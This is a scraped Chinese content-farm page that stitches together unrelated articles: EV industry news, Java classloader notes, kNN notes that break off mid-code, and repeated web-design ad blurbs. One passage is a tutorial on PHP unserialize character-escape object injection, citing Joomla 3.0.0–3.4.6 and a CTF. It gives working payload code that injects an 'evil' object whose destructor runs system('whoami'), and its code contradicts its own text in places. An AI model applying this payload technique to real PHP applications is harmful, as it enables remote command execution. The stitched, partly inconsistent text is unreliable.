Elon Musk將建10 – 20座Gigafactory

在6月6日舉辦的股東會議上,Tesla創辦人Elon Musk提到將在全球建至少10座到20座超級電池工廠(Gigafactory)以供應市場需求。

過去,Elon Musk曾提到以全球對電動車和儲能電池的需要,需要100座Gigafactory來應付市場需求。外媒指出,Elon Musk這番發言也暗示Tesla未來將佔全球10%的儲能和電動車的產能。

Tesla於美國內華達州的Gigafactory 1目前仍持續建造並且已進行鋰電池生產,Elon Musk於股東會議中提到,當Gigafactory 1產能全開時,其生產的鋰電池數量將會比全球其餘鋰電池工廠生產的總和還要多。

與Panasonic的合作使Tesla在生產池上有極大的優勢,其最終目標是生產先進且低價的鋰電池,同時Tesla視Gigafactory為一個「巨型機器」,會不斷改善和優化。

至於目前未來規劃中的3、4座Gigafactory的廠址還未定案,日前Elon Musk表示,2017年底將宣布它們的落腳處。由於Tesla位於加州費利蒙的工廠生產線已滿載,因此其中一座未來的Gigafactory將會用來生產新型SUV Model Y,其生產線也會於其他Gigafactory不同。

(圖片來源:Tesla Club Belgium via Flickr CC2.0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

歐洲可充電公路測試中,預計2018年上市

電動車邊最怕路上沒電,但如果能邊跑邊充電,就不怕沒電的問題,這項殺手級應用聽起來很科幻,但現實世界,可充電公路已進入測試階段,離實際應用應該也不遠了。

將無線充電套件嵌入道路表面上,就成了名符其實的充電道路,美國晶片廠高通近期就在法國測試道路上展示這項技術,稱之為電動車行進間充電(dynamic electric vehicle charging,簡稱DEVC)。

據Economictimes報導,DEVC可對高速行駛之汽車,以最高20kW的功率充電,目前同一條跑道上,DEVC能同時對兩輛電動車進行充電。

歐洲非常重視電動車發展,這項計畫是由歐盟執委會(European Commission)主導,共耗費一千萬美元,來自九個歐盟成員國的25個機構共同參與。報導指出,無線充電電動車預計2017、2018年上市,多數主要車廠正準備制訂全球無線充電標準。

(本文內容由授權使用。圖片出處:wikipedia)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

PHP字符逃逸導致的對象注入

1.漏洞產生原因:

序列化的字符串在經過過濾函數不正確的處理而導致對象注入,目前看到都是因為過濾函數放在了serialize函數之後,要是放在序列化之前應該就不會產生這個問題

?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}

$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";

var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

php特性:

1.PHP 在反序列化時,底層代碼是以 ; 作為字段的分隔,以 } 作為結尾(字符串除外),並且是根據長度判斷內容的
2.對類中不存在的屬性也會進行反序列化

以上代碼就明顯存在一個問題,即從序列化后的字符串中明顯可以看到經過filter函數以後s:6對應的字符串明顯變長了

並且如果對於a:2:{i:0;s:6:”tr1ple”;i:1;s:5:”aaaaa”;}i:1;s:5:”aaaaa”; 這種字符串而言,也能夠正常反序列化,說明php在反序列化的時候只要求一個反序列化字符串塊合法即可,當然得是第一個字符串塊

以以上代碼為例,如果能夠利用filter函數這種由一個字符變為兩個字符的特性來注入想要反序列化后得到的屬性,使其可以逃逸出更多可用的字符串,那麼我們就能反序列化得到我們想要的屬性

比如此時我們想要讓反序列化后第二個字符串為123456,此時我們的payload如果和之前的username長度為a,則filter處理以後可能username就會變成a,此時我們的payload變成了新的注入的屬性,此時反序列化后就會得到我們想要的結果,比如a:2:{i:0;s:6:”tr1ple”;i:1;s:6:”123456″;}是我們想要達到的效果,此時我們想要注入的payload明顯為:

";i:1;s:6:"123456";}

 

可以得到其長度為20

此時我們已經知道過濾的規則為x->yy,即注入一個x可以逃逸出一個字符的空位,那麼我們只需要注入20個x即可變成40個y,即可逃逸出20個空位,從而將我們的payload變為反序列化后得到的屬性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中紅色就是我們想要注入的屬性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";
var_dump(unserialize($r));

 可以看到此時注入屬性成功,反序列化后得到的屬性即為123456

2.實例分析

joomla3.0.0-3.4.6 對象注入導致的反序列化,以下為參考別人的簡易化核心漏洞代碼

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在這裏如果想要通過注入對象來實現反序列化則必須在外部對象內進行注入存在的屬性,不能在其外部,否則php將不會進行我們注入惡意對象的反序列化

例如此時因為反序列化讀取的時候將會將六位字符\0\0\0替換成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那麼s對應的字符串變少以後將會吞掉其他屬性的字符,那麼如果我們精心算好吞掉的字符長度,並且能夠控制被吞掉屬性的內容,那麼就能夠注入對象,從而反序列化其他類

比如如上所示,此時我們要注入的對象為evil,此時username和password的值我們可控,那麼我們可以在username中注入\0,來吞掉password的值,比如

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

 所以此時首先確定我們要吞掉的字符的長度

O:4:”User”:2:{s:8:”username”;s:6:”tr1ple”;s:8:”password”;s:4:”1234″;}

正常情況下我們要吞掉 “;s:8:”password”;s:4:” 為22位

但是因為注入的對象payload也在password字段,並且長度肯定是>=10的,因此s肯定是兩位數,因此這裏為22+1=23位字符

因為是6->3,因此每次添加一組\0\0\0能多吞掉3個字符,因此需要肯定都是3的倍數

因此我們假如這裏構造username為\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 

 

 則經過read函數處理后長度將變為24

 即此時能夠多吞掉24個字符,為了不讓其吞掉payload,我們可以填充1位字符A,即令password的值為A+payload即可

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

 執行結果如上圖所示,將成功反序列化password屬性所對應的值,其值即為我們注入的對象,整個過程也容易理解,就是吞掉後面的屬性來注入屬性,那麼達到攻擊有以下要求:

1.相鄰兩個屬性的值是我們可以控制的

2.前一個屬性的s長度可以發生變化,變長變短都可以,變短的話可以吞掉後面相鄰屬性的值,然後在相鄰屬性中注入新的對象,如果邊長則可以直接在該屬性中注入對象來達到反序列化

 比如XNUCA2018 hardphp就考察了一個這個相關的trick

 

 這裏就出現了用前面的data在反序列化時向後吞一位字符,從而可以導致吞掉後面的普通用戶的username字段,而在username字段可以放上我們想要偽造的username,從而達到偽造session的目的

 參考:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

類加載器 – 命名空間

本博客將沿用中展示的自定義類加載器代碼

複雜類加載情況分析

測試代碼一

首先,新建一個類Test14,重寫默認的構造方法,打印加載該類的類加載器

public class Test14 {
    public Test14() {
        System.out.println("Test14 is loaded by:" + this.getClass().getClassLoader());
    }
}

然後,在新建一個類Test15,同樣重寫默認的構造方法,打印加載該類的類加載器,在構造方法中new出Test14的實例

public class Test15 {
    public Test15() {
        System.out.println("Test15 is loaded by:" + this.getClass().getClassLoader());

        new Test14();
    }
}

測試代碼

public class Test16 {
    public static void main(String[] args) throws Exception {
        test01();
    }

    private static void test01 () throws Exception {
        ClassLoaderTest classLoader = new ClassLoaderTest("classLoader");
        Class<?> clazz = classLoader.loadClass("classloader.Test15");
        System.out.println("class:" + clazz);
        Object object = clazz.newInstance();
    }
}

猜測一下,首先自定義類加載器classLoader通過反射獲取Test15的Class對象,屬於主動使用,會加載Test15,classLoader委託它的父加載器AppClassLoader加載Test15;然後我們通過clazz.newInstance();代碼獲取Test15的實例,調用Test15的構造方法,在Test15的構造方法中創建了Test14的實例,所以同樣加載了Test14,並調用了Test14的構造方法。加上-XX:+TraceClassLoading指令執行代碼,發現運行結果和我們想的是一樣的。

......
[Loaded classloader.Test15 from file:/home/fanxuan/Study/java/jvmStudy/out/production/jvmStudy/]
class:class classloader.Test15
Test15 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
[Loaded classloader.Test14 from file:/home/fanxuan/Study/java/jvmStudy/out/production/jvmStudy/]
Test14 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
......

測試代碼二

在上篇博客中,自定義類加載器ClassLoaderTest是有一個path屬性可以自定義類的加載路徑的,我們同樣測試一下,我們將Test14和Test15的class文件放到桌面的classloader文件夾下,然後刪除工程路徑下的class文件,執行一下的測試代碼

public class Test16 {
    public static void main(String[] args) throws Exception {
        test02();
    }
    private static void test02 () throws Exception {
        ClassLoaderTest classLoader = new ClassLoaderTest("classLoader");
        classLoader.setPath("/home/fanxuan/桌面/");
        Class<?> clazz = classLoader.loadClass("classloader.Test15");
        System.out.println("class:" + clazz);
        Object object = clazz.newInstance();
    }
}

按照上節的結果,應該都是ClassLoaderTest加載器加載了Test14和Test15類

class:class classloader.Test15
Test15 is loaded by:classloader.ClassLoaderTest@6d6f6e28
Test14 is loaded by:classloader.ClassLoaderTest@6d6f6e28

接下來,我們重新編譯項目,刪除掉工程目錄下的Test14的calss文件,再次執行代碼

class:class classloader.Test15
Test15 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
Exception in thread "main" java.lang.NoClassDefFoundError: classloader/Test14
    at classloader.Test15.<init>(Test15.java:11)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
    at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
    at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
    at java.lang.Class.newInstance(Class.java:442)
    at classloader.Test16.test02(Test16.java:25)
    at classloader.Test16.main(Test16.java:9)
Caused by: java.lang.ClassNotFoundException: classloader.Test14
    at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
    at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:338)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
    ... 8 more

我們發現結果報錯了,按照我們正常的思維,自定義記載器classLoader委託父加載器AppClassLoader加載Test15,從打印結果可以看出Test15加載成功了,然後創建Test15的實例,加載Test14,因為工程目錄下缺少Test14的class文件,所以AppClassLoader無法加載到Test14,由自定義加載器classLoader自身從桌面加載Test14。但是我們發現加載Test14的報了ClassNotFoundException的錯誤,這是因為在Test15中記載Test14的時候,是以Test15的類加載器AppClassLoader來加載的,AppClassLoader加載不到Test14,它的父加載器擴展類加載器同樣加載不到,擴展類加載器的父加載器啟動類加載器也加載不到,所以報錯ClassNotFoundException

然後,再重新編譯項目,刪除掉工程目錄下的Test15的calss文件,再次執行代碼。根據前文分析的代碼,我們可以很清晰的得出結論:由自定義記載器classLoader加載了Test15,由系統類記載器AppClassLoader加載了Test14。

class:class classloader.Test15
Test15 is loaded by:classloader.ClassLoaderTest@6d6f6e28
Test14 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2

測試代碼三

簡單修改下Test14類,在Test14的構造方法中引用Test15的Class對象。

public class Test14 {
    public Test14() {
        System.out.println("Test14 is loaded by:" + this.getClass().getClassLoader());

        System.out.println("Test14:" + Test15.class);
    }
}

執行測試代碼二中的測試代碼Test16,結果如下,沒有任何問題。

class:class classloader.Test15
Test15 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
Test14 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
Test14:class classloader.Test15

我們同樣重新編譯項目,刪除掉工程目錄下的Test15的calss文件,再次執行代碼。

class:class classloader.Test15
Test15 is loaded by:classloader.ClassLoaderTest@6d6f6e28
Test14 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
Exception in thread "main" java.lang.NoClassDefFoundError: classloader/Test15
    at classloader.Test14.<init>(Test14.java:11)
    at classloader.Test15.<init>(Test15.java:11)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
    at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
    at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
    at java.lang.Class.newInstance(Class.java:442)
    at classloader.Test16.test02(Test16.java:25)
    at classloader.Test16.main(Test16.java:9)
Caused by: java.lang.ClassNotFoundException: classloader.Test15
    at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
    at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:338)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
    ... 9 more

我們發現加載已經完成了,但是程序還是報錯了,是我們剛剛加的System.out.println("Test14:" + Test15.class);代碼報的錯,依然是ClassNotFoundException錯誤。

分析:
Test15由自定義記載器classLoader加載,Test14由系統類記載器AppClassLoader加載。導致程序報錯的是因為命名空間的問題,我們在上一篇博客的結尾簡單介紹了命名空間:每個類加載器都有自己的命名空間,命名空間由該加載器及所有的父加載器所加載的類組成。子加載器所加載的類可以看見父加載器加載的類,但是父加載器所加載的類無法看見子加載器加載的類。Test14是由AppClassLoader加載的,在AppClassLoader的命名空間中沒有Test15的,所以程序報錯了。

命名空間實例分析

測試代碼

新建Entity類用於測試

public class Entity {
    private Entity entity;

    public void setEntity(Object entity) {
        this.entity = (Entity)entity;
    }
}

編寫測試代碼

public class Test17 {
    public static void main(String[] args) throws Exception {
        ClassLoaderTest classLoader1 = new ClassLoaderTest("classLoader1");
        ClassLoaderTest classLoader2 = new ClassLoaderTest("classLoader2");

        Class<?> clazz1 = classLoader1.loadClass("classloader.Entity");
        Class<?> clazz2 = classLoader2.loadClass("classloader.Entity");

        System.out.println(clazz1 == clazz2);

        Object object1 = clazz1.newInstance();
        Object object2 = clazz2.newInstance();

        Method method = clazz1.getMethod("setEntity", Object.class);
        method.invoke(object1, object2);
    }
}

運行程序,System.out.println(clazz1 == clazz2);返回結果為true,都是AppClassLoader加載的,classLoader1加載之後會在AppClassLoader的命名空間中形成緩存,classLoader2加載的時候直接返回命名空間已經存在的Class對象,所以clazz1與clazz2相同。

改造下代碼,將Entity類的class文件copy到桌面文件夾下,刪除工程下的class文件,執行如下代碼

public class Test18 {
    public static void main(String[] args) throws Exception {
        ClassLoaderTest classLoader1 = new ClassLoaderTest("classLoader1");
        ClassLoaderTest classLoader2 = new ClassLoaderTest("classLoader2");

        classLoader1.setPath("/home/fanxuan/桌面/");
        classLoader2.setPath("/home/fanxuan/桌面/");

        Class<?> clazz1 = classLoader1.loadClass("classloader.Entity");
        Class<?> clazz2 = classLoader2.loadClass("classloader.Entity");

        System.out.println(clazz1 == clazz2);

        Object object1 = clazz1.newInstance();
        Object object2 = clazz2.newInstance();

        Method method = clazz1.getMethod("setEntity", Object.class);
        method.invoke(object1, object2);
    }
}

根據前文的介紹,不難推斷System.out.println(clazz1 == clazz2);的運行結果為falseclassLoader1和classLoader2分別加載了Entity類,就是其自身加載的(定義類加載器),在jvm的內存中形成了完全獨立的兩個命名空間,所以clazz1與clazz2不同。而且因為clazz1和clazz2相互不可見,調用了classLoader1命名空間中的方法,傳入了classLoader2命名空間的對象,導致程序拋出了異常。

false
Exception in thread "main" java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at classloader.Test18.main(Test18.java:26)
Caused by: java.lang.ClassCastException: classloader.Entity cannot be cast to classloader.Entity
    at classloader.Entity.setEntity(Entity.java:11)
    ... 5 more

不同類加載器的命名空間關係

  • 同一命名空間內的類是相互可見的
  • 子加載器的命名空間包含所有父加載器的命名空間,由子加載器所加載的類可以看見父加載器加載的類
  • 由父加載器所加載的類無法看見子加載器加載的類
  • 如果兩個加載器之間沒有任何直接或間接的父子關係,那麼它們各自加載的類相互不可見

父親委託機制的好處

在的2.1章節簡單介紹了一下類加載器的父親委託機制,這裏面來總結一下好處

  • 確保Java核心類庫的安全:所有的Java應用都至少會引用java.lang.Object類,也就是說在運行期,java.lang.Object類會被記載到Java虛擬機當中;如果這個加載過程是由Java應用自己的類加載器所完成的,那麼可能會在JVM中存在多個版本的java.lang.Object類,而且這些類還是不兼容的、相互不可見的(因為命名空間的原因)。藉助父親委託機制,Java核心類庫中的類的加載工作都是由啟動類加載器來統一完成的,從而確保了Java應用所使用的都是同一個版本的Java核心類庫,他們之間是互相兼容的。
  • 確保Java核心類庫提供的類不會被自定義的類所替代。
  • 不同的類加載器可以為相同名稱(binary name)的類創建額外的命名空間。相同名稱的類可以並存在Java虛擬機中,只需要用不同的類加載器來加他們即可,不同類加載器所加載的類是不兼容的,這就相當於在Java虛擬機內部創建了一個又一個相互隔離的Java類空間。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

美國各州急尋經費修路、電動車爽領補貼的日子將盡?

電動車爽領補貼、減免稅率的好日子快要結束?美國不少基礎建設早該翻修,各州為了尋找經費焦頭爛額,紛紛把腦筋動到電動車頭上。今(2017)年美國至少已有五州通過對電動車徵稅的法案,當中甚至包括對環保議題最為熱衷的加州。

CNBC 3日報導(見此),美國包括加州在內的不少州,已在今年通過對電動車加稅,一年徵收100-200美元不等。加州州長布朗(Jerry Brown)在今年春季通過法案時表示,安全和順暢的道路,不但能使加州成為更佳的居住地,也會提振州內經濟活動,增加數千個工作機會。

加州的決定,顯示市場對電動車的心態已有轉變。美國不少州原本都對環保汽車相當友善,提出減稅補貼等獎勵措施,鼓勵駕駛人換車。如今各州財政緊繃,道路又坑坑巴巴、亟待修整,電動車便成了眾矢之的。自2013年以來,美國24州、華盛頓哥倫比亞特區都已決定調高電動車的燃料稅(gas tax),其中加州把燃料稅調高12美分,以支應524億美元道路維修暨壅塞紓解方案的半數費用。

環保人士擔憂,這些費用可能會壓抑電動車的銷售量。不僅如此,購買電動車所享有的7,500美元聯邦減稅優惠,也會在電動車賣出20萬輛後遭到解除。根據汽車銷售暨資訊網站Edmunds.com估計,電動車對整體汽車市場的佔有率目前僅有0.6%,銷售量成長率則從2013年的227%,驟降至2016年的5%。

Barronˋs Next 5月9日報導,Edmunds當時就悲觀預測(見此),電動車聯邦減稅優惠終結將摧毀美國電動車車市。當局規定,車商的前20萬名客戶,可以獲得補助,如今特斯拉(Tesla)已售出將近10萬輛電動車,估計明年優惠就會結束。

特斯拉平價車款「Model 3」定價3.5萬美元,扣掉7,500美元補貼之後,買家等於只要付2.75萬美元,差距極為明顯。特斯拉想打入大眾車市,必須對上2萬美元的汽油車和油電混合車,少了優惠之後,兩者價差更為懸殊。

以美國喬治亞州為例,該州取消購買電動車的5,000美元稅務優惠之後,買氣急凍。有稅務優惠時,喬治亞州佔全美電動車銷售的17%;取消之後,銷售比重驟降至2%。Edmunds據此推論,補助結束後,電動車市將崩盤。Edmunds報告指出,高檔電動車較不受稅務優惠影響,但是一般買家會在意補貼。補助終結後,電動車廠必須大砍售價,才能維持買氣。

(本文內容由授權使用。圖片出處:public domain CC BY 0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

Jaguar 宣布進軍電動車市場,要來挑戰Tesla

各個車廠看到電動車的趨勢,不願意讓Tesla 再繼續引領風潮,包括Jaguar 也將在2018 年下半年發表電動車車款。

Jaguar 的新電動車概念車I-PACE 將在2018 年下半年推出,將是Jaguar 第一台純電動車。性能方面具備700Nm 高扭力,400PS 馬力與4 秒內完成0~100km/h 加速的超高性能,相信是追求速度和零排放車主的選擇。

Jaguar 決定推出全電動車,意味著要跟Tesla 在SUV 市場短兵相接。由於電動車不用傳統車子的馬達系統,車內空間可以更寬敞讓乘客和駕駛更舒適。

(合作媒體:。圖片出處:Jaguar)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

[機器學習筆記]kNN進鄰算法

K-近鄰算法

一、算法概述

(1)採用測量不同特徵值之間的距離方法進行分類

  • 優點: 精度高、對異常值不敏感、無數據輸入假定。
  • 缺點: 計算複雜度高、空間複雜度高。

(2)KNN模型的三個要素

kNN算法模型實際上就是對特徵空間的的劃分。模型有三個基本要素:距離度量、K值的選擇和分類決策規則的決定。

  • 距離度量

    距離定義為:
    \[L_p(x_i,x_j)=\left( \sum^n_{l=1} |x_i^{(l)} – x_j^{(l)}|^p \right) ^{\frac{1}{p}}\]
    一般使用歐式距離:p = 2的個情況
    \[L_p(x_i,x_j)=\left( \sum^n_{l=1} |x_i^{(l)} – x_j^{(l)}|^2 \right) ^{\frac{1}{2}}\]

  • K值的選擇

    一般根據經驗選擇,需要多次選擇對比才可以選擇一個比較合適的K值。

    如果K值太小,會導致模型太複雜,容易產生過擬合現象,並且對噪聲點非常敏感。

    如果K值太大,模型太過簡單,忽略的大部分有用信息,也是不可取的。

  • 分類決策規則

    一般採用多數表決規則,通俗點說就是在這K個類別中,哪種類別最後就判別為哪種類型

二、實施kNN算法

2.1 偽代碼

  • 計算法已經類別數據集中的點與當前點之間的距離
  • 按照距離遞增次序排序
  • 選取與但前點距離最小的k個點
  • 確定前k個點所在類別的出現頻率
  • 返回前k個點出現頻率最高的類別作為當前點的預測分類

2.2 實際代碼

def classify0(inX, dataSet, labels, k):
    dataSetSize = dataSet.shape[0]
    diffMat = tile(inX, (dataSetSize,1)) - dataSet
    sqDiffMat = diffMat**2
    sqDistances = sqDiffMat.sum(axis=1)
    distances = sqDistances**0.5
    sortedDistIndicies = distances.argsort()     
    classCount={}          
    for i in range(k):
        voteIlabel = labels[sortedDistIndicies[i]]
        classCount[voteIlabel] = classCount.get(voteIlabel,0) + 1
    sortedClassCount = sorted(classCount.items(), key=operator.itemgetter(1), reverse=True)
    return sortedClassCount[0][0]

三、實際案例:使用kNN算法改進約會網站的配對效果

我的朋友阿J一直使用在線約會軟件尋找約會對象,他曾經交往過三種類型的人:

  • 不喜歡的人
  • 感覺一般的人
  • 非常喜歡的人

步驟:

  • 收集數據
  • 準備數據:也就是讀取數據的過程
  • 分析數據:使用Matplotlib畫出二維散點圖
  • 訓練算法
  • 測試算法
  • 使用算法

3.1 準備數據

樣本數據共有1000個,3個特徵值,共有4列數據,最後一列表示標籤分類(0:不喜歡的人;1:感覺一般的人;2:非常喜歡的人)

特徵

  • 每年獲得的飛行常客里程數
  • 玩視頻遊戲所好的時間百分比
  • 每周消費的冰淇淋公斤數

部分數據如下:

40920   8.326976    0.953952    3
14488   7.153469    1.673904    2
26052   1.441871    0.805124    1
75136   13.147394   0.428964    1
38344   1.669788    0.134296    1
72993   10.141740   1.032955    1
35948   6.830792    1.213192    3
42666   13.276369   0.543880    3
67497   8.631577    0.749278    1
35483   12.273169   1.508053    3

讀取數據(讀取txt文件)

def file2matrix(filename):
    fr = open(filename)
    numberOfLines = len(fr.readlines())         #get the number of lines in the file
    returnMat = zeros((numberOfLines,3))        #prepare matrix to return
    classLabelVector = []                       #prepare labels return   
    fr = open(filename)
    index = 0
    for line in fr.readlines():
        line = line.strip()
        listFromLine = line.split('\t')
        returnMat[index,:] = listFromLine[0:3]
        classLabelVector.append(int(listFromLine[-1]))
        index += 1
    return returnMat,classLabelVector

3.2 分析數據:使用Matplotlib創建散點圖

初步分析
import matplotlib
import matplotlib.pyplot as plt

plt.rcParams['font.sans-serif'] = ['Microsoft YaHei']

fig = plt.figure()
ax = fig.add_subplot(111)
ax.scatter(datingDataMat[:,1], datingDataMat[:,2])
ax.set_xlabel("玩視頻遊戲所耗時間百分比")
ax.set_ylabel("每周消費的冰淇淋公斤數")
plt.show()

因為有三種類型的分類,這樣看的不直觀,我們添加以下顏色

fig = plt.figure()
ax = fig.add_subplot(111)
ax.scatter(datingDataMat[:,1], datingDataMat[:,2])
ax.scatter(datingDataMat[:,1], datingDataMat[:,2], 15.0*array(datingLabels), 15.0*array(datingLabels))
ax.set_xlabel("玩視頻遊戲所耗時間百分比")
ax.set_ylabel("每周消費的冰淇淋公斤數")
plt.show()

通過都多次的嘗試后發現,玩遊戲時間和冰淇淋這個兩個特徵關係比較明顯

具體的步驟:

  • 分別將標籤為1,2,3的三種類型的數據分開
  • 使用matplotlib繪製,並使用不同的顏色加以區分
datingDataType1 = array([[x[0][0],x[0][1],x[0][2]] for x in zip(datingDataMat,datingLabels) if x[1]==1])
datingDataType2 = array([[x[0][0],x[0][1],x[0][2]] for x in zip(datingDataMat,datingLabels) if x[1]==2])
datingDataType3 = array([[x[0][0],x[0][1],x[0][2]] for x in zip(datingDataMat,datingLabels) if x[1]==3])
                   

fig, axs = plt.subplots(2, 2, figsize = (15,10))
axs[0,0].scatter(datingDataType1[:,0], datingDataType1[:,1], s = 20, c = 'red')
axs[0,1].scatter(datingDataType2[:,0], datingDataType2[:,1], s = 30, c = 'green')
axs[1,0].scatter(datingDataType3[:,0], datingDataType3[:,1], s = 40, c = 'blue')
type1 = axs[1,1].scatter(datingDataType1[:,0], datingDataType1[:,1], s = 20, c = 'red')
type2 = axs[1,1].scatter(datingDataType2[:,0], datingDataType2[:,1], s = 30, c = 'green')
type3 = axs[1,1].scatter(datingDataType3[:,0], datingDataType3[:,1], s = 40, c = 'blue')
axs[1,1].legend([type1, type2, type3], ["Did Not Like", "Liked in Small Doses", "Liked in Large Doses"], loc=2)
axs[1,1].set_xlabel("玩視頻遊戲所耗時間百分比")
axs[1,1].set_ylabel("每周消費的冰淇淋公斤數")

plt.show()

3.3 準備數據:數據歸一化

通過上面的圖形繪製,發現三個特徵值的範圍不一樣,在使用KNN進行計算距離的時候,數值大的特徵值就會對結果產生更大的影響。

數據歸一化:就是將幾組不同範圍的數據,轉換到同一個範圍內。

公式: newValue = (oldValue – min)/(max – min)

def autoNorm(dataSet):
    minVals = dataSet.min(0) # array([[1,20,3], [4,5,60], [7,8,9]])   min(0) = [1, 5, 3]
    maxVals = dataSet.max(0)
    ranges = maxVals - minVals
    normData = zeros(shape(dataSet))
    m = dataSet.shape[0]
    normData = (dataSet - tile(minVals, (m,1)))/tile(ranges,(m,1))
    return normData

3.4 測試算法

我們將原始樣本保留20%作為測試集,剩餘80%作為訓練集

def datingClassTest():
    hoRatio = 0.20  
